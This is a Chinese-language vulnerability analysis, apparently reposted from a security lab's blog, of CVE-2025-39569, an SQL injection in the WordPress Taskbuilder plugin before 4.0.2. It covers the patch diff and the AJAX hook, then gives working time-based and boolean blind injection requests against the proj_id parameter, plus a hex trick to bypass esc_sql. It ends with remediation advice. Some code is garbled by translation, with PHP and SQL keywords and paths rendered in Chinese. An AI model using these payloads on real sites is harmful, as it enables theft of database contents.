文章总结: WordPressTaskbuilder插件4.0.2之前版本存在SQL注入漏洞CVE-2025-39569,因代码未用单引号包裹proj_id变量导致。攻击者仅需订阅者权限即可通过AJAX接口利用布尔盲注或时间盲注获取数据库信息。建议使用预处理语句或更新至最新版本进行修复。 综合评分: 91 文章分类: 漏洞分析,WEB安全,代码审计,漏洞POC
WordPress Taskbuilder 插件 SQL注入
原创
匆匆过客 匆匆过客
天启攻防实验室
2026年1月30日 15:52 广东
更多实战在知识星球:
该漏洞存在于 Taskbuilder WordPress 插件 4.0.2 之前的版本中。这可能允许攻击者直接与您的数据库交互,包括但不限于窃取信息。
·CVE 编号: CVE-2025-39569
·产品: WordPress Taskbuilder 插件
·漏洞类型: SQL注入
·受影响版本: < 4.0.2
·CVSS 严重性: 高 (8.5)
·所需权限: 订阅者
要求
·本地 WordPress 与调试: 本地 WordPress 和调试。
·Taskbuilder 插件: v4.0.1 (存在漏洞) 和 v4.0.2 (已修复)
·差异对比工具: meld 或任何可以比较文件以查看两个版本之间差异的工具
分析
该应用程序在将输入数据用于 SQL 查询之前会进行清理。然而,在查询构建过程中,此值被直接插入,而没有被单引号 ‘ 包裹。这使得攻击者能够将有效的 SQL 语法(如 SELECT、UNION 等)注入到查询中,从而导致 SQL 注入漏洞。
补丁差异
使用任何差异对比工具来比较存在漏洞版本和已修复版本之间的差异。 明显的差异在于文件 includes/管理员/projects/get_users.php。
在 v4.0.1 版本中,变量 $proj_id 被转义但直接插入到查询中,没有使用引号:
$proj_id= esc_sql($proj_id); $project=$wpdb->get_row( “SELECT * FROM {$wpdb->prefix}wppm_project where id = $proj_id” );
在 v4.0.2 版本中,查询被调整为在转义后将 $proj_id 用引号包裹:
$proj_id= esc_sql($proj_id); $project=$wpdb->get_row( “SELECT * FROM {$wpdb->prefix}wppm_project where id = ‘$proj_id'” );
此补丁确保转义后的 $proj_id 值被视为字面量字符串,防止其转义引号以注入 SQL 语法,从而有效缓解了 SQL 注入。
工作原理
文件架构:
当前文件的通用结构:
$proj_id = esc_sql($proj_id); $project=$wpdb->get_row(“SELECT * FROM {$wpdb->prefix}wppm_project WHERE id = $proj_id”);
// Start buffer to generate the main modal content ob_start(); // … render HTML user list $body=ob_get_clean();
// Start buffer to generate modal footer ob_start(); // … render HTML buttons (Close, Save) $footer=ob_get_clean();
// Return JSON data for frontend modal rendering echojson_encode([ ‘body’ => $body, ‘footer’ => $footer, ]);
·wppm_get_project / $project: 从数据库获取项目数据。
·ob_start / ob_get_clean: 缓冲 HTML 输出而不是直接打印,将其存储在变量中。
·$modal_header / $modal_body: 包含模态框的动态 HTML。
·wp_send_json_success: 向客户端返回 JSON,通常用于 AJAX 以在不刷新页面的情况下渲染模态框。
该文件位于 includes/AJAX/wppm_get_users.php,表明它是由另一个功能调用的。要查找其使用位置,请在插件目录中搜索 wppm_get_users。
👉 它被包含在 类-wppm-管理员.php 中 WPPM_Admin 类的 wppm_get_users函数中。 wppm_get_users() 是一个用于 WordPress 动作钩子的回调函数。
WPPM_Admin 构造函数:
final 类 WPPM_Admin { public 函数 __construct() {
// other actions
add_action( ‘wp_ajax_wppm_get_users’, 数组($this,’wppm_get_users’));
// other actions } }
·add_action 是一个 WordPress 插件 API 方法,用于将回调函数附加到动作钩子。
·wp_ajax_wppm_get_users 是一个 AJAX 钩子名称:
owp_ajax_ → 处理已登录用户的 AJAX。
owp_ajax_nopriv_ → 处理未登录用户的 AJAX。
·此处为 wp_ajax_wppm_get_users。如果您通过 AJAX 向 管理员-AJAX.php 发送 action=wppm_get_users,WordPress 将执行相应的回调函数,此处为 wppm_get_users。
👉 知道 wppm_get_users,您可以通过在插件的 .js 文件中搜索 wppm_get_users 来查找哪些 AJAX 请求使用它。
action: ‘wppm_get_users’ 动作是由 wppm_get_users 处理的 POST 请求中的数据部分。
该函数在项目功能的 HTML 属性中被引用:
·创建一个新项目
·访问该项目
·检查代码以定位 data-action=”wppm_get_users” 并查看哪些动作调用它
👉 点击用户旁边的图标会触发 AJAX,向服务器发送请求以获取项目用户并在 HTML 中渲染他们。
漏洞利用
检测 SQL 注入
使用 BurpSuite 捕获请求并发送基于时间的 SQL 注入有效载荷:
POST /wp-管理员/管理员-AJAX.php HTTP/1.1 … action=wppm_get_users&proj_id=(SELECT+SLEEP(1))
响应延迟表明 SQL 注入成功。
获取数据库名称的第一个字母
要转储所有数据,第一步是提取数据库名称的至少一个字符。一旦检索到,其余部分就可以被转储。
使用正确的 proj_id 发送基于布尔的 SQL 注入有效载荷:
POST /wp-管理员/管理员-AJAX.php HTTP/1.1 … action=wppm_get_users&proj_id=(SELECT+IF(SUBSTRING(数据库(),1,1)=0x77,4,999))
数据库名称是 WordPress,所以第一个字符是 W (十六进制 0x57)。
SUBSTRING(数据库(),1,1) 检索第一个字符。
此处,SUBSTRING(数据库(),1,1)=0x57。由于 0x57 等于 ‘W’ 为真,SELECT 返回 proj_id=1,该 ID 存在于数据库中,因此响应包含项目用户。
当无法使用引号时,使用十六进制技术可以绕过 esc_sql 函数(参见 Patch Diff)。
发送一个带有错误 proj_id 的基于布尔的 SQL 注入有效载荷:
POST /wp-管理员/管理员-AJAX.php HTTP/1.1 … action=wppm_get_users&proj_id=(SELECT+IF(SUBSTRING(数据库(),1,1)=0x77,999,4))
使用一个不存在的 proj_id,响应包含 None。
👉 我们成功地使用基于布尔的 SQL 注入检索到了数据库名称的第一个字符:
·正确的 proj_id:响应不包含 None
·错误的 proj_id:响应包含 None
也可以使用基于时间的 SQL 注入,但转储大型数据集会很慢。
结论
WordPress Taskbuilder 中的 CVE-2025-39569 漏洞源于 SQL 查询中用户输入周围缺少单引号 ‘,导致用户数据被解释为有效的 SQL 语法。
v4.0.2 中的补丁通过将 $proj_id 用引号包裹来修复此问题,确保其在 SQL 中始终被视为字面量字符串。
关键要点:
·优先使用预处理语句(WordPress 中的 $wpdb->prepare),而不是手动将变量插入查询。
·对于 WordPress 插件,应彻底测试 AJAX 端点,因为它们是最常见的 SQL 注入和 XSS 来源。
·管理员应定期更新插件/主题,以便及时接收安全补丁。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:天启攻防实验室 匆匆过客 匆匆过客《WordPress Taskbuilder 插件 SQL注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论